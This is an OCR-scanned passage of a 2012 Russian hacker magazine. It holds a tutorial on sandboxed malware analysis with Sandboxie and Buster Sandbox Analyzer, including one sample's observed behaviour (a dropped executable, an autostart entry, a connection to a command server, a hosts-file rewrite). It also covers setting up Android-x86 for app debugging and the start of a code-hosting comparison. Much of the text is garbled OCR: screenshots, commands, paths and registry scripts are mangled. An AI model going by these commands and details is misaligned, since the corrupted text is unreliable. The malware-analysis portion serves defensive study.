скрипт start.cmd, а по окончании работы не забыть выполнить скри пт stop.cmd, который полностью выгрузит драйвер и все компоненты

из памяти, а также сохранит внесенные в ходе

работы изменения в портабеле .

На строек у самого портабелизатора совсем

не много: его работа в основном основана

на манипуляциях с файлом Sandboxie .ini. template, находящегося в папке Templates.

038

По сути, этот файл представляет собой файл

настроек Sandboxie, который должным образом обрабатывается и передается программе ,

а по окончании работы перезаписывается

обратно в Templates. Если открыть этот файл «Блок н отом», то ты вряд ли найдешь

что-то интересное. Нужно обязательно

обратить внимание на шаблон $llnstallDrive), повторяющийся в ряде пара метров пути .

Особенно нас интересует параметр FileRootPath. Если он имеет следующий вид:

F ileRoot.Path=$ (Insj:allDri ve). \ Sandbox\%SANDBOX%

- то «песочницы» будут создаваться

на диске, где находится портабельная Sandboxie .

Пути, конечно, могут отличаться . Но порядок

инжектируемых библиотек обязательно должен

быть именно таким! Это требование связано

с тем, что перехват функций должен осущест­

вляться именно в указанном порядке, иначе

плагины работать не будут. Чтобы применить

изменения, выбираем в главном окне Sandboxie: « Настроить -7 Перезагрузить конфигурацию».

Теперь настроим сам плагин Buster Sandbox Analyzer. • Запускаем плагин вручную, воспользовав­

шись файлом bsa.exe из папки Plugins. Выбираем «Options -7 Analysis mode-7 Manual» и далее «Options -7 Program Options -7 Windows Shell lntegration -7 Add right-click action "Run BSA"».

Теперь всё го,ово для работы: наша « песочни­

ца » интегрирована в систему.

ПРАКТИЧЕСКОЕПРИМЕНЕНИ Е Попробуем наш инструмент на реальной

угрозе. Чтобы никто не упрекнул меня в под­

тасовке, я поступил просто: зашел на www. ma lwaredoma inlist .com и скачал последнее, что там появилось на момент написания

статьи. Это оказался премилый файл рр.ехе

с какого-то зараженного саЙта. Одно только

название внушает большие надежды , кроме

того , на этот файл сраэу эаорал мой антивирус .

К слову, все наши манипуляции лучше произ­

водить при отключенном антивирусе, иначе мы

рискуем заблокировать/удалить что-нибудь из того, что исследуем. Как изучить поведения

бинарника? Просто нажимаем правой кнопкой

на этот файл и выбираем в выпавшем меню

пункт Run BSA. Откроется окно Buster Sandbox Analyzer. Внимательно смотрим в строку Sandbox folder to check. Все параметры должны совпадать с теми, которые мы указали при

настройке Sandboxie, то есть если песочница получила название BSA, а в качестве пути к папке был задан параметр FileRootPath=C:\ Sandbox\%SANDBOX%, то всё должно быть

Если же параметр имеет, например, такой вид:

FileRootPath=C: \Sandbox\%SANDBOX%.

- иначе говоря в нем указан определенный

системный диск, то « песочницы » будут

создаваться на зтом диске .

Лично я рекомендую всегда создавать

песочницы на локальны х дисках . Это ускоряет

работу инструмента, а при запуске с флешки­

ускоряет на порядки. Если же тебя настолько

замучила паранойя, что хочется всё за пускать

и анализировать на любимом носителе,

который ты носишь у сердца, то параметр

можно поменять, но тогда хотя бы используй

портабельные жесткие диски, чтобы всё

безбожно не тормозило.

ХАКЕР 02/157/2012

Page 41: Xakep 02_2012

Мulw.lle BehflvIOur Anolyze' Module

DеГned fie twe CfUt8d of modfl8d in Wndows foldor

Defned" t}'P8 CleМad of rnodfl8d

ОеГned Iio t,ype cceMed 01 modll8d inAutoSl4t1 bc~

DefnedAutoSt_1ie a e4ted of modfl8d

Defned r~дutoS!4tt bcam ae.ud or modfl8d

SinUal:edk~d 01 tnCIU8еqц

comection 10 Inte,"eI:

дttemptlolo«l.,...eтc*ivet

дttempl. loendWnd0W8 eouion

St«t8teМce

к __

Backdoof~

M-...Ane!ym detection ,QW,e

De6IionOfopezW1g ole .eМceorevent

Чеклист подозрительного поведения приложения

как на скриншоте « Работает Buster Sandbox Analyzep>. Если же ты знаешь толк в извра­щениях и назвал песочницу по-другому или

настроил пара метр FileRootPath на другой ди ск или папку, его нужно изменить соответ­

ствующим образом. В противном случае Buster Sandbox Analyzer не будет знать, где искать

новые файлы и изменения в реестре.

BSA включает в себя массу настроек по анализу и изучению процесса выполнения

бинарника, вплоть до перехвата сетевых паке­

тов . Смело нажимай кнопку Start Analysis. Окно перейдет в режим анализа . Если песочница,

выбранная для анализа, по каким-то причинам

с оде ржит результаты предыдущего исследо­

вания , утилита предложит предварительно ее

очи с тить. Все готово к запуску исследуемого

файла .

Готов? Тогда нажми на изучаемый файл

правой кн опкой мыши и в открывшемся меню

выбери « Запустить в песочнице » , после чего

укаж и ту « песочницу » , К которой мы прикру­

тили BSA. Сразу после этого в окне анализатора

побегут АРI-вызовы, которые будут фиксиро­

вать с я в лог-файлах. Обрати внимание, что

сам Buster Sandbox Analyzer не знает, когда завершится анализ процесса, фактически

сигналом к окончанию служит именно твое

жмакание на кнопку Finish Analysis . Как же узнать, что время уже наступило? Тут может

быть два варианта.

S~_~ОТOбpIDao",т~".......~r_npo~ ~._.

S!JОтOlp8ж8,.tp8НИЦ)I-..yt_. 8

Окна, программ запущенные в песочнице, теперь будут выделяться

ХАКЕР 02/157/2012

Игры в « песочнице»

Det&iled ,eportofMpicioualМhrrмfeactions:

УЕО

УЕО

.0

.0

.0 УЕО

Qe.ud fie n defi'IOd fOIder. C:\DOCUfII!fU.wI SellingalAo.~paтop\l~ Settngs\T f!JЩJ\М..~ De4Iedliondefnedfoktet:С:\DocunenbandSel~~ОР~Settngs\ТeщJ\д8.iщ) CrМled fiendelined lolder.С:\D~. ondsetti'9s\До,l'tИIИCТратор\L.oc~ Sel~I\Тemp\дС.1Jтp Dцtedliein dafnedfolder.C:\DOOA'I'I6I'UandSeltinge~paтop\L.~ Sel;ting.\Temp\Дf).~ DOo1Ited procen: С:\Оocunem lII'Id setti1ga\Atu.oим:rратор~ D.в\фlo!iyм.fDI8."С:\Оownenb .nt Setmge~parop\дppbtion IМ Detnedlielype ae4ted in~Ioc«ion:С:\ОoшnonI:. ond sdti9WUtef.\[noettOe мetlO\Л~~\фIl&oми. De&1edfieЬоре CfеМed:С:\D0CI.I'I'Ief'b 6l'ld setti'lgl~ор~Det.\фIIyм.ехе Defned Iie Iype Cfe4t8d; C:\Doa.mettt..t settinga\Aaминнc:тpmор~ DIJI .. \~II Del:ectedkfl)Ologgel~ Delected pюcen p!iyiege eIev«ion GotcornpJtet netne GoI:I48flVJfl)8nCl!JМlion GotYOk,.meПoirмtion • • 0

. 0

. 0

УЕО

УЕО

.0

.0

УЕО

УЕО

н. Iiolюm URf: C\Ooc:ument, &nd SettngtW Um.\ГlIOOное момо\Пpor~~\фIayм'.,,* н. lie fюm user: С:\ОOCI..tI'I8I'Ib .vd Seuing.~ратор\Дppic4lion Det.\фIay$vr.8Х8 HicIe Iie 'ют uset: C: \Oocunentl мd Setti-9~ратор\Дppic4tiQn Du\dpl4yx.cI Host.1ie JI'IOdified: С:\WlNDOWS\8ydemЗ2\diyeq\elс\hosb Inlemel. COI'InI8Ctim: Comoct. ш'190.з.Э5.1З9" on polt 80. Listed .. entr)' мme. n .. remote accмs ~ book Opened .. 8efvice n«ned: RдSМдN Оpened., tel'vice rwned: Remoteдcce •• Opened .. service nemed: Rouef Opened ... vice мmed: Sem П.exeaAabIe_detectedЬу lII't ~1JI;8Oftw«e: 5vondcn lrom Yiustol:.tcom (2011 ·12·12 12:54:22(UTCD

Risk evaШtion ,еМ: High

Отчет о проведенном анализе

1. В окне Sandboxie не отображается ни один выполняемый процесс . Это означает, что

выполнение программы явно завершило с ь.

2. В спи с ке АРI-вызовов долгое время не по­

является ниче го нового или, наоборот, одно

и то же выводится в циклической после­

довательнос ти. При этом в окне Sandboxie что-то еще выполняется. Такое бывает,

если программа настроена на резидентное

выполнение или попросту зависла . В этом

случае ее необходимо вначале завершить

вручную, нажав правой кнопкой в окне

Sandboxie на соответствующую « песоч­ницу» И выбрав « Завершить программы ».

Кстати , при анализе моего рр . е х е произо ­

шла именно такая ситуация .

После этого можно с м ело выбирать Finish Analysis в окне Buster Sandbox Analyzer.

АНАЛИЗ ПОВЕДЕНИЯ Нажав на кнопку Malware Апаlуzег, мы сразу получим некоторую с водную информацию о ре­

зультатах исследования . В моем случае вре­

доносность файла была совершенно очевидна :

в ходе выполнения создавалс я и запускался

файл C:\Documents and Sеttiпgs\Администра­Top\Application Data\dplaysvr.exe, который добавлялся в автозагруэку [кстати, именно

он не хотел завершаться caMI, происходило соединение с 190.9.35.199 и модифицировался hosts-фаЙл. Кстати , при этом на VirusTotal файл детектировали только пять антивирусных

движков, что видно из логов .

Всю информацию о результатах анализа

можно получить непосредственно в меню

Viewer в окне Buster Sandbox Analyzer. Здесь же приютился и журнал АРI-вызовов ,

который, безусловно , будет полезен при

подробном исследовании. Все результаты

х ранятся в виде текстовы х файлов в подпап­

ке Reports папки Buster SапdЬох Analyzer. Особый интере с представляет отчет Report . txt [вызывается через View Reportl, в кото ­

ром при водится расширенная информация

по всем файлам. Именно оттуда мы узнаём,

что временные файлы на самом деле были

исполняемыми, соединение шло по адре-

су httр://190.9 . 35.199/viеw.рhр?гпd=787714 ,

вредонос создал специфический мутекс

G4FGЕХWkЫVАNг и т. д. Можно не только

просматривать отчеты, но и извлекать все файлы , созданные в ходе выполнения. Для

этого в окне Sandboxie нажми правой кноп­кой по « песочнице» И выбери « Просмотреть

содержимое » . Откроется окно проводника со всем содержимым нашей « песочницы »:

В папке drive на ходятся файлы, создавае­

мые на физических дисках « песочницы » , а в

папке user - файлы, создаваемые в профи­

ле активного пользователя [%userprofile%l . Здесь я обнаружил dplaysvr.exe с библио­текой dplayx.dll, временные файлы tmp и из­мененный файл hosts. Кстати , оказалось, что

в него добавлены следующие строки:

9.~ ... RJ.2'Щ,lJ7 .. w.ww .. gQQg;l,.~ .. cQrn ......... _._ .............. . 9.4. Q~ .• ?48 .•. 1J.8 .. www .. biOg,_com ...... .

Учти , что в « песочнице » валяются за­

раженные файлы . Если их нечаянно запу­стить двойным кликом , ничего не будет [они

запустятся в « песочнице» l, но если ты их куда-то скопируешь, а потом выполнишь ... хм, ну, ты понял. Здесь же, в папке, можно найти

дамп реестра, измененного в ходе работы, в виде файла RegHive . Этот файл можно легко перевести в более читабельный геg-файл при

помощи следующего командного скрипта:

~~.9_.ЬQ@ ... НК~r-1.~!Jч!J~.1!JJ.gрQ)~.u!J.u ... В.~gН;i,.\'g .............. . .R~G ... f)(РQ!П .. I:!К .~М\.u!J.u~.i;lлg.RQ~!J.u.у ... ~1!оg.RQ~,.r.~g КЕ G ..I.т LQ,t.D ... HK bl1~.t,I.U!J ~.1!JJ.9РО)щY.U ......... _ .... __ ..... _ .. OQ.1;gpil.<;! .. яш.gР.Qх .•. сgg ..................................... _ .............. .

Таким образом, ты получишь sandbox.reg, в котором указаны строки, внесенные злов­

редом в ходе выполнения. После выполнения

анализа выбери в меню Options пункт Сапсеl analysis, чтобы вернуть всё как было. Учти, что после этой операции все журналы анализа

будут удалены, но содержимое «песочницы »

о станется на месте . Впрочем, при следую­

щем запуске программа сама предложит все

удалить. I

039

Page 42: Xakep 02_2012

PCZONE

нах КАК ИСПОЛЬЗОВАТЬ ANDROID НА ОБЫЧНОМ КОМПЕ

Как запустить мобильные приложения на

компьютере? В пакете для разработчика

Android есть специальный эмулятор, позволяющий пощупать мобильную ос. Одна

проблема - он тормозит. Прямо скажем,

сильно тормозит. Но, к счастью, уже довольно

давно ведется работа над интересным

проектом по портированию платформы Android на платформу рс.

Пара метр vga=ask позволяет вручную выбрать НУЖНЫЙ видеорежим

0'0

Антон «Ant» Жуков la . zhukovГrJreal .xa ke p . ru J

ANDROID -X86

Более подробную информацию об

утилите ADB и всех ее параметрах ть!

можешь посмотреть

на официальном

сайте - blt.lvl2s9bOJ.

Как известно, исходники Android открыты - такова политика

Google. Поэтому у любого желающего в принципе есть возмож­ность взять за основу исходную версию мобильной ОС и начать

разработку своей собственной ветки . Многие знтузиасты активно

выпускают патчи, реализующие дополнительный функционал ,

которого нет в оригинальном Android . Именно так появился проект «patch hosting for android х86

support ,>. Разработчики планировали выпускать патчи для под­

держки х86- платформы . Но после нескольких месяцев работы они

поняли, что способны на большее, чем просто поставлять патчи .

Так появился прое кт Android-x86Iwww.android-x86 .org ) - спе­

циальная версия мобильной ОС для запуска на самом обычном

компьютере. у Android-x86, как и у Android, есть разные ветки. В качестве тестовой платформы выбран культовый нетбук Еее

РС, но фактически не имеет значения, куда ты будешь устанав­

ливать проект. Это может быть как компьютер, так и планшетник

или ноутбук 'К проверенным устройствам относятся A5U5 Еее, Viewsonic Viewpad 10, Delllnspiron Mini Duo, 5amsung Q1U, Viliv 55, Lenovo ThinkPad х61 TabIet). Последний билд даже имеет под­держку Wi-Fi .

Впрочем, если установка Android на ноутбук - зто, скорее,

баловство, то установка на виртуальную машину может прин ести

вполне ощутимую пользу, особенно тем , кто хо чет попробовать

свои силы в разработке под Android, так как после установки им

будет намного удобнее тестировать приложения 'правда, придется мириться с некоторыми ограничениями, например с отсутствием

эмуляции акселерометра). Предлагаю перейти к практике.

УСТАНОВКА НА ВИРТУАЛКУ 1. Прежде всего стоит пойти на официальный сайт и выбрать под­

ходящи й образ. Все образы представляютсобой LiveCD. 2. Выбрав подходящий исошник lя скачал android-x86-2.2-r2-asus_

laptop.iso), можно присту пать непосредственно к установке под виртуальным окружением, например под бесплатным VirtualВox

Iwww.viгtuаIЬох . огg ).Запускаемегоисоздаем новую виртуаль­ную машину со следующими параметрами :

ХАКЕР 02/157/2012

Page 43: Xakep 02_2012

Создаем раздел ДЛА установки Android-x86

Имя: Andl:'_!1id __

ОП!!Р'iЩИОН-':1;!1I __ СИС;Р~J"iI :_ Цrщх

8еР.с..,я: O'tl1l1r Liпщ(или !Дпuх~,б) lJам_ять_: :1Ц_ Мб

Жесткий д.,_с!<: 3 r:!i _

В настройках виртуальной машины нужно прописать загружен­

ный нами образ Android-x86 в качестве ОVО-привода_ После этого виртуалку можно запускать .

З. Когда виртуальная машина загрузится с LiveCO, ты сразу видишь меню для выбора вариантов загрузки. Чтобы просто запустить

и посмотреть ОС, достаточно выбрать «Run Andгoid-x86 without installation». Поскольку нас больше интересует установка Апdгоid в качестве обычной ОС, выбираем последний пункт­« Iпstаllаtiоп 71пstаll Апdгоid-х86 to harddisk».

4. После этого появится меню, предлагающее выбрать раздел для

установки системы. Так как разделов у нас еще нет, выбираем

пункт «Create/Modidy рагtitiопs», в результате чего запустится обычный cfdisk_ Создаем новый раздел [первичныйl, выделяя под него все свободное пространство, и ставим разделу флаг BootabIe_ По сле этого из системной утилиты можно выйти , не за­

быв записать изменения.

5. Теперь можно выбрать созданный раздел для установки в него операционной системы. Указываем тип файловой системы­

ext3, устанавливаем загрузчик GRUB и делаем директорию / system доступной для чтения/записи. Затем можно либо за­грузиться в Апdгоid, или создать фейковую 50-карту, что тоже

делается довольно просто. Всё, что для этого от нас требуется,­

указать объем создаваемой карты .

6. На этом установка завершена. Выключаем виртуалку, убираем

НАСТРОЙКА ЗВУКА И ВИДЕО

Android на х86

Список доступных видеорежимов

в ее настройках прим о нтированный исошник Апdгоid-х86 [что­бы грузиться уже непосредствен но с жесткого дискаl и запуска­ем заново. Система предложит два варианта загрузки: обычный

и debug. Выбираем первый из них и получаем загруженную под виртуалкой АпdгОid-систему. Если утебя вдруг не заработает мышка, зайди в меню « Машина » И выбери пункт « Выключить

интеграцию мыши» [то же самое можно сделать нажатием Right Ctrl + 11.

В общем-то, на данном этапе мы достигли поставленной

цели - загрузили Android на обычном компе. Для тех , кто любит

ставить всё самое последнее, скажу, что версия 4.0 имеет статус devel, так что в ней могут присутствовать различные недоработ­ки. Например, почему-то одновременно показываются графиче­

ская оболочка и консоль. Не знаю, баг зто или фича, но работать

в такой ОС очень неудобно. Образ 3.2RC2 хо рош всем, кроме того, что в нем отсутствует поддержка Еthегпеt, которая была мне

нужна для отладки приложений. Но если цель всей затеи - про­

сто поиграться с Апdгоid, то смело можешь выбирать его. Я же

остановился на ветке 2.2.

ИНСТАЛЛИМ ПРИЛОЖЕНИЯ Итак, система работает - что дальше? Стандартный набор при­

ложений, поставляемый вместе с ОС, быстро приедается. Да и

разве мы ради того поднимали Апdгоid-х86, чтобы оказаться за­

жатыми в каких-то рамках? К сожалению, Апdгоid-х86 не может

использовать Апdгоid Market - эта опция доступна только для

тех производителей железа, которые имеют лицензию Google. Поэтому новы е приложения установить не так просто, как в

Апdгоid-телефонах. Тем не менее разработчики Апdгоid-х86 по-

Звук. После установки Апdгоid-х86 звук

очень часто перестает работать. Я тоже

обнаружил эту проблему, когда зашел на

Youtube посмотреть ролики. К счастью, всё оказалось не так страшно, и замена звуковой

карты в настройках виртуальной машины

Видео. Операционная система Andгoid

ориентирована на широкий круг девайсов,

х86 2.2 [HDPI! ». Далее нажимаем «е» для редактирования записи. Появится еще одно

меню, в котором следует выбрать запись вида

«kегпеl/апdгоid-2.2/kегпеl /quiet гoot .... ». Опять нажимаем «е» И В конце строки через

пробел дописываем «vga=ask». Нажимаем Еп­ter для сохранения и «Ь» дЛЯ загрузки . После

этого на экран будут выведены все доступные

видеорежимы, останется только выбрать нужный и ввести его номер . Например, режим

1152х864х32 VESA обозначен как 34С .

на «Iпtеl НО Audio» позволила устранить сбой . Если же простое решение не помогает,

на официальном сайте выложен FAQ, где описано, как эаставить работать ICH АС97 под ViгtualBox [bit .ly/v4H7YQ !.

ХАКЕР 02/157/ 2012

от смартфонов до наручных часов. Очевидно,

что устройства имеют разные размеры и,

соответственно, разные размеры экрана,

поэтому было бы здорово протестировать

разрабатываемое приложение при разных

разрешениях . Сделать это совсем несложно.

Во время запуска виртуальной машины надо

дождаться, пока GRUB предложит варианты загрузки ОС, и выбрать в меню пункт «Апdгоid-

Page 44: Xakep 02_2012

PCZONE

f'(IIJU~\III(lj'll i(l: / 11 \11 ~ 1. с Г ~' 111 111' 1/;.0.0.1 !. ~ ) ~ ) .0.0 .0 <:I.I,() '11' 10.0.!..1', Illtl /1 [

,,)) ./1)1,

,,11,1 IJlIlJN е, ').() () (, .') .0.0 !'()(IC(.,IIH\I'IJ i (\ : / 11 111: (1: Irl ,. 1.1,1 (!IJtJII

('(Н) I,(""I!!III'II j (1' / 11 111 :1,{' 1'1 , '1.1,1 ,1I,,1' ,II'! i I Jli ! 11111,\1' ",( i 11'(\ ,'11111,1 1 i ti ,\ j'1/llf11111 )

1 J j'IIIJ1)"',lllllr'IJi(!:,' 11 III'(TI'I/ 1:1.111 Iljf

crHJI,f.i,\iHIClli(!:/1I 111:1,1 t'ц

1" 111' 11.';. () о 1 1.',', (). О. () 111' 111'

"(НI ,,,iJ.I\](lr'IJ i (\: /

1() О.

1'11.. 1 11

1t ,

" . ~ ) f ) .

Настраиваем локальную сеть в Android

/1,1) /. ~II I • /. ~ ) ~ I

101 ;1,1. /1,)1) . !. I 1 ~ )

О

.0

.f)

ОхО()()()()()1')

ОХОf)()() 1 ()1':

О) ()ОО() 1 О()I.

ОхОООООО1')

()х(JОООIИ::

О,ООО(Jl()'П

старались максимально упростить процесс установки сторонних

приложений:

1. Сначала надо разрешитьустановкусторонни х приложений из

неизвестных источников. Идем в «Settings -7 Applications-7 Uпkпоwп sources» и ставим здесь галочку. Если не включить зту опцию, то, попытавшисьустановить приложение, мы получим

сообщение, что установка заблокирована.

2. Если известен адрес для скачивания приложения , открываем

браузер и скачиваем программу. После завершения загрузки

кликаем на скачанный файл для установки. Появится окошко с

просьбой подтвердить установку приложения . При удачном рас­

кладе после нажатия Install наше приложение начнетустанавли­ваться. Почему при удачном? Потому, что некоторые программы

могут быть несовместимы с Android-x86. В таком случае поста­вить их не получится.

Чтобы еще больше упростить поиск приложений, можно вос­

пользоваться утилитой АпdАррStоге, которая поставляется вместе

с Android-x86. Это своего рода аналог Android Market: весь софт здесь разбит на категории, а любая программа устанавливается в

два клика .

НАСТРОЙКИ ДЛЯ ОТЛАДКИ Итак, мы установили ось, поигрались с интерфейсом Android , заинсталлили программы, которые хотели посмотреть , - пора

переходить к более серьезным занятиям . Я из начально собирал­

ся использовать та кую систему как платформу для тестирова­

ния разрабатываемы х приложений, поэтому расскажу, как это

делается.

Первым делом нам понадобится настроить сеть, причем в нашем

случае она не совсем стандартная. Апdгоid-система должна иметь

доступ винтернет Iчто просто необходимо при написании сетевых приложений), а также еще одно подключение к локальной сети, через которое мы МQГЛИ бы связаться с нашей виртуальной машиной

для отладки приложений. Ethernet нужен, чтобы настроить NAT в

виртуальной машине и полноценно пользоваться интернетом.

ЕСЛИ НУЖНЫ ТОЛЬКО ПРИЛОЖЕНИЯ

ОТЛАДКА ЧЕРЕЗ GSDSERVER

Не могу не отметить, что Апdгоid-х86 предлагается с

предустановленным GDBserver'oM, который можно найти в /sbin/gd­bserver. Таким обраэом, у нас есть возможность использовать GDB для отладки приложений на удаленной машине. Для этого, опять

же, необходимо поднять сеть между виртуальной и хостовой ОС как показано выше и запустить GDBserver:

rQJ,~t@'!lJ.droi.q_;j jСЕ9.R_s_~r\(~.С ___ 5.УJгt!J_,ЙJ!о_х .JR _,!dd_re s~.?_ :_lZ34 __ .\ . . _____ lи_с;:.!J.Q!J.t\!В~~_~lй_. Ф_<l.!1Д _ .. IJR.I!Ч19),~~_НI<!Я __ ~ ._ЛQlIны!1 __ .!J>,ТI:, .J<' __ ti~.I'1>' 1 __ . _____ .

Можно также воспользоваться опцией " --attach pid", чтобы присоединиться к процессу, который уже запущен.

Далее мы можем ПОДКЛlочаться к нашей виртуалке с обычной

машины. Запускаем GDB:

И подключаемся к удаленному серверу:

Работает!

Итак, открываем раздел « Сеть» И настраиваем там два

адаптера:

Дда!J:r~R ._1_._::: _.N_.i\Т_._ -<,I;! _._I;!j1.RI>,аJI~I:!ОЙ .I1;ЩI.и _tiе будет Bj1Ae.I:! __ KaK .

еtnJl~ .. )J,JJя _ ~J:tЛRнеI<I.)., ... M<I.!JIeR .. 2. _:::_ .. I;!~Rтуа!J~J:tыЙ_ <lдiшт_ер . xQ~JA (1;! .. _I;!~Р.'У,!Jl~J:t9Й . ~<I.!!I.~J:t_~ ... будеI __ l;!иде_I:! __ как _et-'JJ~ .. ДЛЯ._.ОТJJ.адки _лриложенхй) .

Для продолжения требуется ре бут системы. По умолчанию

Android х86 не может работать с двумя сетевыми адаптерами, но это легко исправить . Идем в меню для запуска приложе­

ний, переходим в «Settings -7 Configure Ethernet» и выбираем

«ethO dhcp», после чего снова перезагружаем виртуалку. После загрузки необходимо перейти в консоль. Делается это очень

просто, с помощью комбинации Alt + Fl .. . F6IAlt + F7 вернет нас

в графический интерфейс). в консоли необходимо выполнить следующие команды:

COQ1;@!!lJdrQ:!.JJ.;J._ # леj;~fg

1.0 _ ... _. Ч!' .. _. _ .. __ JП ._ e .Jl,J._ e1;h~_.U.f> ___ ... 1Et,J~_ .. ~.,J_~_. __ ._. __

255.e.e_,~_ . 255.255.255.е

ехееееее49

~xee~_e;l.e43

Специально на тот случай, если нужно

запустить только Апdгоid-приложения

[скажем, популярные игрушки), создан

во многом уникальный проект Bluestacks

IbIuestacks.com ), разработка которого ведется совместно с компанией АМО . Идея в том,

режиме, и они реально не будут тормозить .

Платформа позволяет запускать десять

приложений, которые идут в комплекте с

ней , а также устанавливать дополнительные .

Это делается очень просто. Заходим в папку

только что созданный ярлык . Всё, программа

установлена - ее можно запускать. Некоторые

приложения, правда, не установятся из-за

проблем с совместимостью . Некоторые другие,

например Апgгу Birds и Fruit Ninja, помечены компанией Blue5tacks как «премиум­приложения», которые можно будет установить

тол'ько при использовании грядущей платной

версии программы. Однако куча других игр

установится и запустится без проблем .

чтобы не змулировать ОС Android, а полностью воссоздать окружение мобильной ОС для

нативного выполнения программ. Что это дает?

Ты можешь запускать игры в полноэкранном

с установленной программой, находим

файл HD-АрkНапdlег.ехе и создаем для него

ярлык на рабочем столе. Далее скачиваем

интересующее нас приложение для Android 'В виде арk-пакета) и перетаскиваем его на

ХАКЕР 02/157/2012

Page 45: Xakep 02_2012

ej;h], QQWN e.,.\j., e.\j....... . ... \j. е ' .1;\'.1;\ .... . r9Qt@<J!J<;Iroi r;l:J # o~:t.cfg .. gtM ... (IQWЛ .. . rQоt@flш;1гоJd.;I ltпеtсJg e.t-'11 dllcP. <Jсtiоп._ ' dhcp.: ... faH~.<;I .. (il'1\1gJid .. ,н·gЩl1~лt) СQо:t@<Jш1гоir;l:j # п~:tсfg .. etJJ], ЦР. ..... гооt@,шgгоi.d :I . # ... пеJсfg :\.9 UP 127 . ~,.e. 125.5 .• е. е.& . . ...... I;\хееееее49 ethe eth1

ЦР . ],е . е .. 2 .. 152.5.5., .255. ,.255 ,.~ .... ~.хе.I;\~ЮI;\'п

Up ..... 1,92. ],ч8 .S6 .. ],!n .. 255. ;155 , .255.е .... ехЕщ\j~),~~ц .....

Теперь, как ты видишь, у нас подняты два интерфейса: один для

выхода в Сеть, другой для отладки приложений. Остается только

настроить последнюю .

ОТЛАДКА ПРИЛОЖЕНИЙ ДЛЯ дальнейших действий нам понадобится Android SDK который придется загрузить Ideveloper.android .com/sdk / index.html ). 1. Скачиваем арх ив android-sdk_r16-windows.zip и распако­

вываем. Заходим в получившуюся папку и ищем директо­

рию platform-tools. Ага , такой нет. Придется запустить SDK Мапаgег и установить недостающие инструменты . Выбираем

категорию «TooI7 Android SDK Platform-tools». После уста­новки должна появиться папка platform-tools, которая нас и интересует.

2. В папке надо найти утилиту АОВ. Аббревиатура АОВ расшифро­

вывается KaKAndroid Debug Bridge !Отладочный мост«Андро­ид» ). Так как операционная система от Google принадлежит к семейству Linu x, для ее настройки часто необходимо исполь­зовать командную строку. Конечно, существуют программы -зм уляторы терминала , которые позволяют выполнять команды

прямо на устройстве, но, во-первых, на маленьком зкране

телефона это делать неудобно, а во-вторых, иногда требуется

доступ к устройству через компьютер. В этих и многих других

с лучаях программа АОВ просто незаменима . Она устанавливает

с вязь междуустройством и компьютером и позволяет прямо на

компьютере выполнять различные манипуляции с системой

Android . 3. Для того чтобы подключить новое устройство к системе, надо

ввести:

i!.r;I.b .. С.Qолесt .J9.2 .• .168.,.59 ,.11;\;1. ........................... _.

\"'1 """ У 11 YLII VI .... UI'"' ,",UIII,:-,')

handгoid

Crouchlng Panda APPHU

Crystal War maгydev

Cube Parkour vmenge

Defend the Castle ZaBBi

Dlvlng Penguln FitzgeraldEnglneering

Doodle Dodge Llte Triple Frog

Установка приложений с помощью AndAppStore

ХАКЕР 02/157/201 2

" Android OMc~ сnooш

$t:lect 111 drvicC! compatibIe with u rget Android 4.0.

@ Choosf: I ruппiпg Android device

St:rialNumber

IJ emulltor·55S4

I W 192Jб8.56JОИ555

~ l.aunch I пм Android Virtufll Оме!

AVDN,me

N!A

Android на х86

Debug Stltf:

y~ Ontine

Х 2п Yes Online:

AVD N,m~ TlrgetNlme Pllltform APl l~el СРЩдВl

No AVD .v,il,bj~

[Rdr"esh : '--____________________ ---'~.!n'gel ...

EJ Us~ slme device 'о, future I.!unches ОК 11 C4nc~1

Выбираем на каком эмуляторе будем отлаживать написанное приложение

соппесtеd to 192.168 . .5.6.1131: 5555

После этого можно просмотреть список уже подключенных

устройств , набрав команду:

с :.\.<J!J .drQJg.~.sd k cwJndoW~.\platf.orm с t .Qol S.~9gJ:> ... pevJc е 5 .

Lis.t .of. deyices .... a.ttach!O'.d . еЛ!у1i!tоr~.5.554 ...... dеviсе 192.,19(\ .. 5.9 , 1е1 :.2555 .. devj,ce

Здесь emulator-5554 - дефолтный эмулятор от Google, а 192.168.56.101 :5555 - наша виртуальная машина .

4. С этого момента наш эмулятор доступен из Eclipse, и его можно использовать для тестирования приложений, что нам и требова­

лось .

ЗАКЛЮЧЕНИЕ Что я могу сказать после месяца использования Android-x86? С одной стороны , проект еще немного сыроват и некоторые недо­

работки заметны невооруженным взглядом . Версия 4.0 удивила своим интерфейсом, в котором консоль торчала поверх графики .

Версия 3.2 на первый взгляд не имела глюков в плане графики, но не позволяла поднять сеть для отладки приложений. И только 2.2 удовлетворила всем моим требованиям.

С отладкой тоже всё непросто: этот способ однозначно быстрее эмулятора SDK, но полноценно отлаживать приложения лучше всё-таки на настоящем девайсе. С другой стороны, это шикарная

возможность запустить Android на своем компе и понять все его достоинства и недостатки, протестировать популярные приложе­

ния, не покупая телефонов и прочих девайсов. :J:

sноRтсuты� ДЛЯ БЫСТРОЙ

НАВИГАЦИИ

Кнопка Windows соответствует кнопке Ноте в Android; Esc соответствует кнопке «Назад» В Апdгоid; F2 соответствует кнопке Мепu; FЗ соответствует кнопке поиска;

• Alt + F1 - переключение в консольный режим;

• Alt + F7 - переключение в режим GUI.

Page 46: Xakep 02_2012

PCZONE

ВЫБИРАЕМ ПРАВИЛЬНЫЙ ХОСТИНГ КОДА

Ни один нормальный программист не будет создавать

папки вроде v001, v002 и распихивать по ним разные версии своих разработок . Вместо этого

он воспользуется системой управления версий,

а репозиторий разместит онлайн, чтобы работать

с кодом могли и другие разработчики. Сделать это

можно бесплатно благодаря хостингу кода, выбором

которого мы сегодня и займемся.

I I

Бардадым Денис

? 8

Если ты не имел депо с системой управления версий,

то перед тем, как

читать статью,

загляни в архив

и найди в #12/2011 номере][ статью «Git&GitHub: с места в карьер».

Page 47: Xakep 02_2012

ч то такое хости нг кода? Это место, куда

ты при помощи твоей любимой системы

контроля верси й можешь загрузить свой

код . Таким образом, с кодом смогут работать

несколько программистов. При этом хостинг

SourceForge I sourceforge I

www.sourceforge.net Поддерживаемые системы контроля версий:

CVS, SVN, Git, Mercurial, Bazaar. Проекты:

Только под свободной лицензией.

Основные возможности:

Wiki, bug tгасkiпg, code review, почтовые рас­сылки, форум, shell-сервер.

SourceForge является одним из родона­чальников сервисов для хостинга проектов

с открытым исходным кодом. Для каждого

проекта предоставляется уникальный домен

имя_проекта.sоuгсеfогgе.пеt, который полно­

стью попадает в распоряжение владельца.

Одной из ключевых является возможность

быстро развертывать дополнительные при-

Google Code I Google code I code.google.com!hosting Поддерживаемые системы контроля версий:

